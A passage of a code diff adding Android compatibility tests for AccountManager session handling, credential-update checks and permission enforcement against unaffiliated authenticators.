+        assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+        validateSessionBundleAndPasswordAndStatusTokenResult(resultBundle);
+        Bundle encryptedSessionBundle = resultBundle
+                .getBundle(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE);
+
+        resultBundle = finishSession(
+                am,
+                encryptedSessionBundle,
+                mActivity,
+                null /* callback */,
+                null /* handler */);
+
+        // Assert parameters has been passed correctly
+        assertEquals(ACCOUNT_TYPE, mockAuthenticator.getAccountType());
+
+        validateFinishSessionOptions(accountName, SESSION_BUNDLE);
+
+        // Assert returned result
+        assertNull(resultBundle.getParcelable(AccountManager.KEY_INTENT));
+        // Assert returned result containing account name, type but not auth token type.
+        validateAccountAndNoAuthTokenResult(resultBundle);
+    }
+
+    /**
+     * Tests finishSession with KEY_INTENT returned but not started
+     * automatically. When additional info is needed from user for finishing the
+     * session and no Activity was provided by caller, the resolution intent
+     * will not be started automatically. A bundle containing KEY_INTENT will be
+     * returned instead.
+     */
+    public void testFinishSessionWithReturnIntent()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        String accountName = Fixtures.PREFIX_NAME_INTERVENE + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        Bundle options = createOptionsWithAccountName(accountName);
+
+        // First get an encrypted session bundle from startAddAccountSession(...)
+        Bundle resultBundle = startAddAccountSession(
+                am,
+                ACCOUNT_TYPE,
+                AUTH_TOKEN_TYPE,
+                REQUIRED_FEATURES,
+                options,
+                mActivity,
+                null /* callback */,
+                null /* handler */);
+
+        // Assert returned result
+        assertNull(resultBundle.getParcelable(AccountManager.KEY_INTENT));
+        // Assert that auth token was stripped.
+        assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+        validateSessionBundleAndPasswordAndStatusTokenResult(resultBundle);
+        Bundle encryptedSessionBundle = resultBundle
+                .getBundle(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE);
+
+        resultBundle = finishSession(
+                am,
+                encryptedSessionBundle,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        // Assert parameters has been passed correctly
+        assertEquals(ACCOUNT_TYPE, mockAuthenticator.getAccountType());
+
+        validateFinishSessionOptions(accountName, SESSION_BUNDLE);
+
+        // Assert returned result
+        Intent returnIntent = resultBundle.getParcelable(AccountManager.KEY_INTENT);
+        assertNotNull(returnIntent);
+        assertNotNull(returnIntent.getParcelableExtra(Fixtures.KEY_RESULT));
+
+        assertNull(resultBundle.get(AccountManager.KEY_ACCOUNT_NAME));
+        assertNull(resultBundle.get(AccountManager.KEY_ACCOUNT_TYPE));
+        assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+    }
+
+    /**
+     * Tests finishSession error case. AuthenticatorException is expected when
+     * AccountManager.ERROR_CODE_INVALID_RESPONSE is returned by authenticator.
+     */
+    public void testFinishSessionError()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        Bundle sessionBundle = new Bundle();
+        String accountNameForFinish = Fixtures.PREFIX_NAME_ERROR + "@"
+                + Fixtures.SUFFIX_NAME_FIXTURE;
+        sessionBundle.putString(Fixtures.KEY_ACCOUNT_NAME, accountNameForFinish);
+        sessionBundle.putInt(AccountManager.KEY_ERROR_CODE,
+                AccountManager.ERROR_CODE_INVALID_RESPONSE);
+        sessionBundle.putString(AccountManager.KEY_ERROR_MESSAGE, ERROR_MESSAGE);
+
+        Bundle options = new Bundle();
+        String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        options.putString(Fixtures.KEY_ACCOUNT_NAME, accountName);
+        options.putBundle(Fixtures.KEY_ACCOUNT_SESSION_BUNDLE, sessionBundle);
+        options.putAll(OPTIONS_BUNDLE);
+
+        // First get an encrypted session bundle from startAddAccountSession(...)
+        Bundle resultBundle = startAddAccountSession(
+                am,
+                ACCOUNT_TYPE,
+                AUTH_TOKEN_TYPE,
+                REQUIRED_FEATURES,
+                options,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        // Assert returned result
+        // Assert that auth token was stripped.
+        assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+        validateSessionBundleAndPasswordAndStatusTokenResult(resultBundle);
+        Bundle encryptedSessionBundle = resultBundle
+                .getBundle(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE);
+
+        try {
+            finishSession(
+                    am,
+                    encryptedSessionBundle,
+                    null /* activity */,
+                    null /* callback */,
+                    null /* handler */);
+            fail("finishSession should throw AuthenticatorException in error case.");
+        } catch (AuthenticatorException e) {
+        }
+    }
+
+    /**
+     * Tests finishSession() with callback and handler. A bundle containing
+     * account name and type should be returned via the callback regardless of
+     * whether a handler is provided.
+     */
+    public void testFinishSessionWithCallbackAndHandler()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        testFinishSessionWithCallbackAndHandler(null /* handler */);
+        testFinishSessionWithCallbackAndHandler(new Handler(Looper.getMainLooper()));
+    }
+
+    /**
+     * Tests finishSession() with callback and handler and activity started.
+     * When additional info is needed from user for finishing the session and an
+     * Activity was provided by caller, the resolution intent will be started
+     * automatically. A bundle containing account name and type will be returned
+     * via the callback regardless of if handler is provided or now.
+     */
+    public void testFinishSessionWithCallbackAndHandlerWithIntervene()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        testFinishSessionWithCallbackAndHandlerWithIntervene(null /* handler */);
+        testFinishSessionWithCallbackAndHandlerWithIntervene(
+                new Handler(Looper.getMainLooper()));
+    }
+
+    /**
+     * Tests finishSession() with callback and handler with KEY_INTENT
+     * returned. When additional info is needed from user for finishing the
+     * session and no Activity was provided by caller, the resolution intent
+     * will not be started automatically. A bundle containing KEY_INTENT will be
+     * returned instead via callback regardless of if handler is provided or not.
+     */
+    public void testFinishSessionWithCallbackAndHandlerWithReturnIntent()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        testFinishSessionWithCallbackAndHandlerWithReturnIntent(null /* handler */);
+        testFinishSessionWithCallbackAndHandlerWithReturnIntent(
+                new Handler(Looper.getMainLooper()));
+    }
+
+    /**
+     * Tests finishSession() error case with callback and handler.
+     * AuthenticatorException is expected when
+     * AccountManager.ERROR_CODE_INVALID_RESPONSE is returned by authenticator.
+     */
+    public void testFinishSessionErrorWithCallbackAndHandler()
+            throws IOException, OperationCanceledException, AuthenticatorException {
+        testFinishSessionErrorWithCallbackAndHandler(null /* handler */);
+        testFinishSessionErrorWithCallbackAndHandler(new Handler(Looper.getMainLooper()));
+    }
+
+    private void testFinishSessionWithCallbackAndHandler(Handler handler)
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        final String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@"
+                + Fixtures.SUFFIX_NAME_FIXTURE;
+        Bundle options = createOptionsWithAccountName(accountName);
+
+        // First get an encrypted session bundle from startAddAccountSession(...)
+        Bundle resultBundle = startAddAccountSession(
+                am,
+                ACCOUNT_TYPE,
+                AUTH_TOKEN_TYPE,
+                REQUIRED_FEATURES,
+                options,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        // Assert returned result
+        // Assert that auth token was stripped.
+        assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+        validateSessionBundleAndPasswordAndStatusTokenResult(resultBundle);
+        Bundle encryptedSessionBundle = resultBundle
+                .getBundle(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+
+        AccountManagerCallback<Bundle> callback = new AccountManagerCallback<Bundle>() {
+            @Override
+            public void run(AccountManagerFuture<Bundle> bundleFuture) {
+                Bundle resultBundle = getResultExpectNoException(bundleFuture);
+
+                // Assert parameters has been passed correctly
+                assertEquals(ACCOUNT_TYPE, mockAuthenticator.getAccountType());
+
+                validateFinishSessionOptions(accountName, SESSION_BUNDLE);
+
+                // Assert returned result containing account name, type but not auth token type.
+                validateAccountAndNoAuthTokenResult(resultBundle);
+
+                latch.countDown();
+            }
+        };
+
+        finishSession(am, encryptedSessionBundle, mActivity, callback, handler);
+
+        // Wait with timeout for the callback to do its work
+        waitForLatch(latch);
+    }
+
+    private void testFinishSessionWithCallbackAndHandlerWithIntervene(Handler handler)
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        final String accountName = Fixtures.PREFIX_NAME_INTERVENE + "@"
+                + Fixtures.SUFFIX_NAME_FIXTURE;
+        Bundle options = createOptionsWithAccountName(accountName);
+
+        // First get an encrypted session bundle from startAddAccountSession(...)
+        Bundle resultBundle = startAddAccountSession(
+                am,
+                ACCOUNT_TYPE,
+                AUTH_TOKEN_TYPE,
+                REQUIRED_FEATURES,
+                options,
+                mActivity,
+                null /* callback */,
+                null /* handler */);
+
+        // Assert returned result
+        assertNull(resultBundle.getParcelable(AccountManager.KEY_INTENT));
+        // Assert that auth token was stripped.
+        assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+        validateSessionBundleAndPasswordAndStatusTokenResult(resultBundle);
+        Bundle encryptedSessionBundle = resultBundle
+                .getBundle(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+
+        AccountManagerCallback<Bundle> callback = new AccountManagerCallback<Bundle>() {
+            @Override
+            public void run(AccountManagerFuture<Bundle> bundleFuture) {
+                Bundle resultBundle = getResultExpectNoException(bundleFuture);
+
+                // Assert parameters has been passed correctly
+                assertEquals(ACCOUNT_TYPE, mockAuthenticator.getAccountType());
+
+                validateFinishSessionOptions(accountName, SESSION_BUNDLE);
+
+                // Assert returned result
+                assertNull(resultBundle.getParcelable(AccountManager.KEY_INTENT));
+                // Assert returned result containing account name, type but not auth token type.
+                validateAccountAndNoAuthTokenResult(resultBundle);
+
+                latch.countDown();
+            }
+        };
+
+        finishSession(am, encryptedSessionBundle, mActivity, callback, handler);
+
+        // Wait with timeout for the callback to do its work
+        waitForLatch(latch);
+    }
+
+    private void testFinishSessionWithCallbackAndHandlerWithReturnIntent(Handler handler)
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        final String accountName = Fixtures.PREFIX_NAME_INTERVENE + "@"
+                + Fixtures.SUFFIX_NAME_FIXTURE;
+        Bundle options = createOptionsWithAccountName(accountName);
+
+        // First get an encrypted session bundle from startAddAccountSession(...)
+        Bundle resultBundle = startAddAccountSession(
+                am,
+                ACCOUNT_TYPE,
+                AUTH_TOKEN_TYPE,
+                REQUIRED_FEATURES,
+                options,
+                mActivity,
+                null /* callback */,
+                null /* handler */);
+
+        // Assert returned result
+        assertNull(resultBundle.getParcelable(AccountManager.KEY_INTENT));
+        // Assert that auth token was stripped.
+        assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+        validateSessionBundleAndPasswordAndStatusTokenResult(resultBundle);
+        Bundle encryptedSessionBundle = resultBundle
+                .getBundle(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+
+        AccountManagerCallback<Bundle> callback = new AccountManagerCallback<Bundle>() {
+            @Override
+            public void run(AccountManagerFuture<Bundle> bundleFuture) {
+                Bundle resultBundle = getResultExpectNoException(bundleFuture);
+
+                // Assert parameters has been passed correctly
+                assertEquals(ACCOUNT_TYPE, mockAuthenticator.getAccountType());
+
+                validateFinishSessionOptions(accountName, SESSION_BUNDLE);
+
+                // Assert returned result
+                Intent returnIntent = resultBundle.getParcelable(AccountManager.KEY_INTENT);
+                assertNotNull(returnIntent);
+                assertNotNull(returnIntent.getParcelableExtra(Fixtures.KEY_RESULT));
+
+                assertNull(resultBundle.get(AccountManager.KEY_ACCOUNT_NAME));
+                assertNull(resultBundle.get(AccountManager.KEY_ACCOUNT_TYPE));
+                assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+
+                latch.countDown();
+            }
+        };
+
+        finishSession(am, encryptedSessionBundle, null, callback, handler);
+
+        // Wait with timeout for the callback to do its work
+        waitForLatch(latch);
+    }
+
+    private void testFinishSessionErrorWithCallbackAndHandler(Handler handler)
+            throws IOException, OperationCanceledException, AuthenticatorException {
+        Bundle sessionBundle = new Bundle();
+        String accountNameForFinish = Fixtures.PREFIX_NAME_ERROR + "@"
+                + Fixtures.SUFFIX_NAME_FIXTURE;
+        sessionBundle.putString(Fixtures.KEY_ACCOUNT_NAME, accountNameForFinish);
+        sessionBundle.putInt(AccountManager.KEY_ERROR_CODE,
+                AccountManager.ERROR_CODE_INVALID_RESPONSE);
+        sessionBundle.putString(AccountManager.KEY_ERROR_MESSAGE, ERROR_MESSAGE);
+
+        Bundle options = new Bundle();
+        String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        options.putString(Fixtures.KEY_ACCOUNT_NAME, accountName);
+        options.putBundle(Fixtures.KEY_ACCOUNT_SESSION_BUNDLE, sessionBundle);
+        options.putAll(OPTIONS_BUNDLE);
+
+        // First get an encrypted session bundle from startAddAccountSession(...)
+        Bundle resultBundle = startAddAccountSession(
+                am,
+                ACCOUNT_TYPE,
+                AUTH_TOKEN_TYPE,
+                REQUIRED_FEATURES,
+                options,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        // Assert returned result
+        // Assert that auth token was stripped.
+        assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+        validateSessionBundleAndPasswordAndStatusTokenResult(resultBundle);
+        Bundle encryptedSessionBundle = resultBundle
+                .getBundle(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+
+        AccountManagerCallback<Bundle> callback = new AccountManagerCallback<Bundle>() {
+            @Override
+            public void run(AccountManagerFuture<Bundle> bundleFuture) {
+                try {
+                    bundleFuture.getResult();
+                    fail("should have thrown an AuthenticatorException");
+                } catch (OperationCanceledException e) {
+                    fail("should not throw an OperationCanceledException");
+                } catch (IOException e) {
+                    fail("should not throw an IOException");
+                } catch (AuthenticatorException e) {
+                    latch.countDown();
+                }
+            }
+        };
+
+        try {
+            finishSession(am, encryptedSessionBundle, mActivity, callback, handler);
+            fail("should have thrown an AuthenticatorException");
+        } catch (AuthenticatorException e1) {
+        }
+
+        // Wait with timeout for the callback to do its work
+        waitForLatch(latch);
+    }
+
+    private Bundle finishSession(AccountManager am, Bundle sessionBundle, Activity activity,
+            AccountManagerCallback<Bundle> callback, Handler handler)
+                    throws IOException, AuthenticatorException, OperationCanceledException {
+        // Cleanup before calling finishSession(...) with the encrypted session bundle.
+        mockAuthenticator.clearData();
+
+        AccountManagerFuture<Bundle> futureBundle = am.finishSession(
+                sessionBundle,
+                activity,
+                callback,
+                handler);
+
+        Bundle resultBundle = futureBundle.getResult();
+        assertTrue(futureBundle.isDone());
+        assertNotNull(resultBundle);
+
+        return resultBundle;
+    }
+
+    private void validateFinishSessionOptions(String accountName, Bundle options) {
+        validateOptions(options, mockAuthenticator.mOptionsFinishSession);
+        assertNotNull(mockAuthenticator.mOptionsFinishSession);
+        assertEquals(ACCOUNT_TYPE, mockAuthenticator.mOptionsFinishSession
+                .getString(AccountManager.KEY_ACCOUNT_TYPE));
+        assertEquals(accountName,
+                mockAuthenticator.mOptionsFinishSession.getString(Fixtures.KEY_ACCOUNT_NAME));
+
+        validateSystemOptions(mockAuthenticator.mOptionsFinishSession);
+        validateOptions(null, mockAuthenticator.mOptionsUpdateCredentials);
+        validateOptions(null, mockAuthenticator.mOptionsConfirmCredentials);
+        validateOptions(null, mockAuthenticator.mOptionsGetAuthToken);
+        validateOptions(null, mockAuthenticator.mOptionsAddAccount);
+        validateOptions(null, mockAuthenticator.mOptionsStartAddAccountSession);
+        validateOptions(null, mockAuthenticator.mOptionsStartUpdateCredentialsSession);
+    }
+
+    /**
+     * Tests a basic isCredentialsUpdateSuggested() which returns a bundle containing boolean true.
+     */
+    public void testIsCredentialsUpdateSuggested_Success()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        Account account = new Account(accountName, ACCOUNT_TYPE);
+
+        Boolean result = isCredentialsUpdateSuggested(
+                am,
+                account,
+                ACCOUNT_STATUS_TOKEN,
+                null /* callback */,
+                null /* handler */);
+
+        // Assert parameters has been passed correctly
+        validateIsCredentialsUpdateSuggestedParametersAndOptions(account);
+
+        // Assert returned result
+        assertTrue(result);
+    }
+
+    /**
+     * Tests isCredentialsUpdateSuggested() when account is null.
+     * It should throw IllegalArgumentationException.
+     */
+    public void testIsCredentialsUpdateSuggestedNullAccount_IllegalArgumentationException()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+
+        try {
+            isCredentialsUpdateSuggested(
+                    am,
+                    null /* account */,
+                    ACCOUNT_STATUS_TOKEN,
+                    null /* callback */,
+                    null /* handler */);
+            fail("Should have thrown IllegalArgumentation when calling with null account!");
+        } catch (IllegalArgumentException e) {
+        }
+    }
+
+    /**
+     * Tests isCredentialsUpdateSuggested() when statusToken is empty.
+     * It should throw IllegalArgumentationException.
+     */
+    public void testIsCredentialsUpdateSuggestedEmptyToken_IllegalArgumentationException()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+
+        String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        Account account = new Account(accountName, ACCOUNT_TYPE);
+        try {
+            isCredentialsUpdateSuggested(
+                    am,
+                    account,
+                    "" /* statusToken */,
+                    null /* callback */,
+                    null /* handler */);
+            fail("Should have thrown IllegalArgumentation when calling with empty statusToken!");
+        } catch (IllegalArgumentException e) {
+        }
+    }
+
+    /**
+     * Tests isCredentialsUpdateSuggested() error case. AuthenticatorException is expected when
+     * authenticator return {@link AccountManager#ERROR_CODE_INVALID_RESPONSE} error code.
+     */
+    public void testIsCredentialsUpdateSuggested_Error()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        String accountName = Fixtures.PREFIX_NAME_ERROR + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        Account account = new Account(accountName, ACCOUNT_TYPE);
+
+        try {
+            isCredentialsUpdateSuggested(
+                    am,
+                    account,
+                    ACCOUNT_STATUS_TOKEN,
+                    null /* callback */,
+                    null /* handler */);
+            fail("Should have thrown AuthenticatorException in error case.");
+        } catch (AuthenticatorException e) {
+        }
+    }
+
+    /**
+     * Tests isCredentialsUpdateSuggested() with callback and handler. A boolean should be included
+     * in the result. Callback should be triggered with the result regardless of a handler is
+     * provided or not.
+     */
+    public void testIsCredentialsUpdateSuggestedWithCallbackAndHandler()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        testIsCredentialsUpdateSuggestedWithCallbackAndHandler(null /* handler */);
+        testIsCredentialsUpdateSuggestedWithCallbackAndHandler(
+                new Handler(Looper.getMainLooper()));
+    }
+
+    /**
+     * Tests isCredentialsUpdateSuggested() error case with callback and handler.
+     * AuthenticatorException is expected when authenticator return
+     * {@link AccountManager#ERROR_CODE_INVALID_RESPONSE} error code.
+     */
+    public void testIsCredentialsUpdateSuggestedErrorWithCallbackAndHandler()
+            throws IOException, OperationCanceledException, AuthenticatorException {
+        testIsCredentialsUpdateSuggestedErrorWithCallbackAndHandler(null /* handler */);
+        testIsCredentialsUpdateSuggestedErrorWithCallbackAndHandler(
+                new Handler(Looper.getMainLooper()));
+    }
+
+    private void testIsCredentialsUpdateSuggestedWithCallbackAndHandler(Handler handler)
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        final Account account = new Account(accountName, ACCOUNT_TYPE);
+        final CountDownLatch latch = new CountDownLatch(1);
+
+        AccountManagerCallback<Boolean> callback = new AccountManagerCallback<Boolean>() {
+            @Override
+            public void run(AccountManagerFuture<Boolean> booleanFuture) {
+                Boolean result = false;
+                try {
+                    result = booleanFuture.getResult();
+                } catch (OperationCanceledException e) {
+                    fail("should not throw an OperationCanceledException");
+                } catch (IOException e) {
+                    fail("should not throw an IOException");
+                } catch (AuthenticatorException e) {
+                    fail("should not throw an AuthenticatorException");
+                }
+
+                // Assert parameters has been passed correctly
+                validateIsCredentialsUpdateSuggestedParametersAndOptions(account);
+
+                // Assert returned result
+                assertTrue(result);
+
+                latch.countDown();
+            }
+        };
+
+        isCredentialsUpdateSuggested(
+                am,
+                account,
+                ACCOUNT_STATUS_TOKEN,
+                callback,
+                handler);
+
+        // Wait with timeout for the callback to do its work
+        waitForLatch(latch);
+    }
+
+    private void testIsCredentialsUpdateSuggestedErrorWithCallbackAndHandler(Handler handler)
+            throws IOException, OperationCanceledException, AuthenticatorException {
+        String accountName = Fixtures.PREFIX_NAME_ERROR + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        final Account account = new Account(accountName, ACCOUNT_TYPE);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+
+        AccountManagerCallback<Boolean> callback = new AccountManagerCallback<Boolean>() {
+            @Override
+            public void run(AccountManagerFuture<Boolean> booleanFuture) {
+                try {
+                    booleanFuture.getResult();
+                    // AuthenticatorException should be thrown when authenticator
+                    // returns AccountManager.ERROR_CODE_INVALID_RESPONSE.
+                    fail("should have thrown an AuthenticatorException");
+                } catch (OperationCanceledException e) {
+                    fail("should not throw an OperationCanceledException");
+                } catch (IOException e) {
+                    fail("should not throw an IOException");
+                } catch (AuthenticatorException e) {
+                    // Test passed as AuthenticatorException is expected.
+                } finally {
+                    latch.countDown();
+                }
+            }
+        };
+
+        isCredentialsUpdateSuggested(
+                am,
+                account,
+                ACCOUNT_STATUS_TOKEN,
+                callback,
+                handler);
+
+        // Wait with timeout for the callback to do its work
+        waitForLatch(latch);
+    }
+
+    private Boolean isCredentialsUpdateSuggested(
+            AccountManager am,
+            Account account,
+            String statusToken,
+            AccountManagerCallback<Boolean> callback,
+            Handler handler)
+                    throws IOException, AuthenticatorException, OperationCanceledException {
+
+        AccountManagerFuture<Boolean> booleanFuture = am.isCredentialsUpdateSuggested(
+                account,
+                statusToken,
+                callback,
+                handler);
+
+        Boolean result = false;
+        if (callback == null) {
+            result = booleanFuture.getResult();
+            assertTrue(booleanFuture.isDone());
+        }
+
+        return result;
+    }
+
+    private void verifyAccountsGroupedByType(Account[] accounts) {
+
+        Map<String, Integer> firstPositionForType = new HashMap<>();
+        Map<String, Integer> lastPositionForType = new HashMap<>();
+        Map<String, Integer> counterForType = new HashMap<>();
+        for (int i = 0; i < accounts.length; i++) {
+            String type = accounts[i].type;
+
+            Integer first = firstPositionForType.get(type);
+            first = first != null ? first : Integer.MAX_VALUE;
+            firstPositionForType.put(type, Math.min(first, i));
+
+            Integer last = lastPositionForType.get(type);
+            last = last != null ? last : Integer.MIN_VALUE;
+            lastPositionForType.put(type, Math.max(last, i));
+
+            Integer counter = counterForType.get(type);
+            counter = counter != null ? counter  : 0;
+            counterForType.put(type, counter + 1);
+        }
+        for (String type : counterForType.keySet()) {
+            assertEquals((int)lastPositionForType.get(type),
+                firstPositionForType.get(type) + counterForType.get(type) - 1);
+        }
+    }
 }
diff --git a/tests/tests/accounts/src/android/accounts/cts/AccountManagerUnaffiliatedAuthenticatorTests.java b/tests/tests/accounts/src/android/accounts/cts/AccountManagerUnaffiliatedAuthenticatorTests.java
index 2068f4c..f9418f0 100644
--- a/tests/tests/accounts/src/android/accounts/cts/AccountManagerUnaffiliatedAuthenticatorTests.java
+++ b/tests/tests/accounts/src/android/accounts/cts/AccountManagerUnaffiliatedAuthenticatorTests.java
@@ -23,12 +23,16 @@
 import android.accounts.OperationCanceledException;
 import android.accounts.cts.common.AuthenticatorContentProvider;
 import android.accounts.cts.common.Fixtures;
+import android.accounts.cts.common.tx.StartAddAccountSessionTx;
+import android.accounts.cts.common.tx.StartUpdateCredentialsSessionTx;
 import android.content.ContentProviderClient;
 import android.content.ContentResolver;
+import android.os.Bundle;
 import android.os.RemoteException;
 import android.test.AndroidTestCase;
 
 import java.io.IOException;
+import java.util.HashMap;
 
 /**
  * Tests for AccountManager and AbstractAccountAuthenticator related behavior using {@link
@@ -45,11 +49,17 @@
  */
 public class AccountManagerUnaffiliatedAuthenticatorTests extends AndroidTestCase {
 
+    public static final Bundle SESSION_BUNDLE = new Bundle();
+    public static final String SESSION_DATA_NAME_1 = "session.data.name.1";
+    public static final String SESSION_DATA_VALUE_1 = "session.data.value.1";
+
     private AccountManager mAccountManager;
     private ContentProviderClient mProviderClient;
 
     @Override
     public void setUp() throws Exception {
+        SESSION_BUNDLE.putString(SESSION_DATA_NAME_1, SESSION_DATA_VALUE_1);
+
         // bind to the diagnostic service and set it up.
         mAccountManager = AccountManager.get(getContext());
         ContentResolver resolver = getContext().getContentResolver();
@@ -88,7 +98,7 @@
                     null); // handler
             fail("Expecting a OperationCanceledException.");
         } catch (SecurityException expected) {
-            
+
         }
     }
 
@@ -177,21 +187,72 @@
 
     public void setAuthToken() {
         try {
-            mAccountManager.setAuthToken(
-                    Fixtures.ACCOUNT_UNAFFILIATED_FIXTURE_SUCCESS,
-                    "tokenType",
+            mAccountManager.setAuthToken(Fixtures.ACCOUNT_UNAFFILIATED_FIXTURE_SUCCESS, "tokenType",
                     "token");
             fail("setAuthToken should just barf if the caller isn't permitted.");
-        } catch (SecurityException expected) {}
+        } catch (SecurityException expected) {
+        }
     }
 
     public void testPeekAuthToken() {
         try {
-            mAccountManager.peekAuthToken(
-                    Fixtures.ACCOUNT_UNAFFILIATED_FIXTURE_SUCCESS,
+            mAccountManager.peekAuthToken(Fixtures.ACCOUNT_UNAFFILIATED_FIXTURE_SUCCESS,
                     "tokenType");
             fail("peekAuthToken should just barf if the caller isn't permitted.");
-        } catch (SecurityException expected) {}
+        } catch (SecurityException expected) {
+        }
+    }
+
+    public void testSetAccountVisibility()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        try {
+            mAccountManager.setAccountVisibility(Fixtures.ACCOUNT_UNAFFILIATED_FIXTURE_SUCCESS,
+                    "some", AccountManager.VISIBILITY_VISIBLE);
+            fail("setAccountVisibility should just barf if the caller isn't permitted.");
+        } catch (SecurityException expected) {
+        }
+    }
+
+    public void testGetAccountVisibility()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        try {
+            mAccountManager.getAccountVisibility(Fixtures.ACCOUNT_UNAFFILIATED_FIXTURE_SUCCESS,
+                    "some.example");
+            fail("getAccountVisibility should just barf if the caller isn't permitted.");
+        } catch (SecurityException expected) {
+        }
+    }
+
+    public void testGetAccountsAndVisibilityForPackage()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        try {
+            mAccountManager.getAccountsAndVisibilityForPackage("some.package",
+                    Fixtures.TYPE_STANDARD_UNAFFILIATED);
+            fail("getAccountsAndVisibilityForPackage should just barf if the caller isn't permitted.");
+        } catch (SecurityException expected) {
+        }
+    }
+
+    public void testGetPackagesAndVisibilityForAccount()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        try {
+            mAccountManager.getPackagesAndVisibilityForAccount(
+                    Fixtures.ACCOUNT_UNAFFILIATED_FIXTURE_SUCCESS);
+            fail("getRequestingUidsForType should just barf if the caller isn't permitted.");
+        } catch (SecurityException expected) {
+        }
+    }
+
+    public void testAddAccountExplicitlyVisthVisibilityMap()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        try {
+            mAccountManager.addAccountExplicitly(Fixtures.ACCOUNT_UNAFFILIATED_FIXTURE_SUCCESS,
+                    "shouldn't matter", // password
+                    null, // bundle
+                    new HashMap<String, Integer>()); // visibility;
+            fail("addAccountExplicitly should just barf if the caller isn't permitted.");
+        } catch (SecurityException expected) {
+        }
     }
 
     public void testGetAccounts() {
@@ -200,8 +261,7 @@
     }
 
     public void testGetAccountsByType() {
-        Account[] accounts = mAccountManager.getAccountsByType(
-                Fixtures.TYPE_STANDARD_UNAFFILIATED);
+        Account[] accounts = mAccountManager.getAccountsByType(Fixtures.TYPE_STANDARD_UNAFFILIATED);
         assertEquals(0, accounts.length);
     }
 
@@ -222,5 +282,210 @@
                 getContext().getPackageName());
         assertEquals(0, accounts.length);
     }
+
+    /**
+     * Tests startAddAccountSession when calling package doesn't have the same sig as the
+     * authenticator.
+     * An encrypted session bundle should always be returned without password.
+     */
+    public void testStartAddAccountSession() throws
+            OperationCanceledException, AuthenticatorException, IOException, RemoteException {
+        String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        Bundle options = createOptionsWithAccountName(accountName);
+
+        AccountManagerFuture<Bundle> future = mAccountManager.startAddAccountSession(
+                Fixtures.TYPE_STANDARD_UNAFFILIATED,
+                null /* authTokenType */,
+                null /* requiredFeatures */,
+                options,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        Bundle result = future.getResult();
+        assertTrue(future.isDone());
+        assertNotNull(result);
+
+        validateStartAddAccountSessionParameters(options);
+
+        // Validate that auth token was stripped from result.
+        assertNull(result.get(AccountManager.KEY_AUTHTOKEN));
+
+        // Validate returned data
+        validateSessionBundleAndPasswordAndStatusTokenResult(result);
+    }
+
+    /**
+     * Tests startUpdateCredentialsSession when calling package doesn't have the same sig as
+     * the authenticator.
+     * An encrypted session bundle should always be returned without password.
+     */
+    public void testStartUpdateCredentialsSession() throws
+            OperationCanceledException, AuthenticatorException, IOException, RemoteException {
+        String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        Bundle options = createOptionsWithAccountName(accountName);
+
+        AccountManagerFuture<Bundle> future = mAccountManager.startUpdateCredentialsSession(
+                Fixtures.ACCOUNT_UNAFFILIATED_FIXTURE_SUCCESS,
+                null /* authTokenType */,
+                options,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
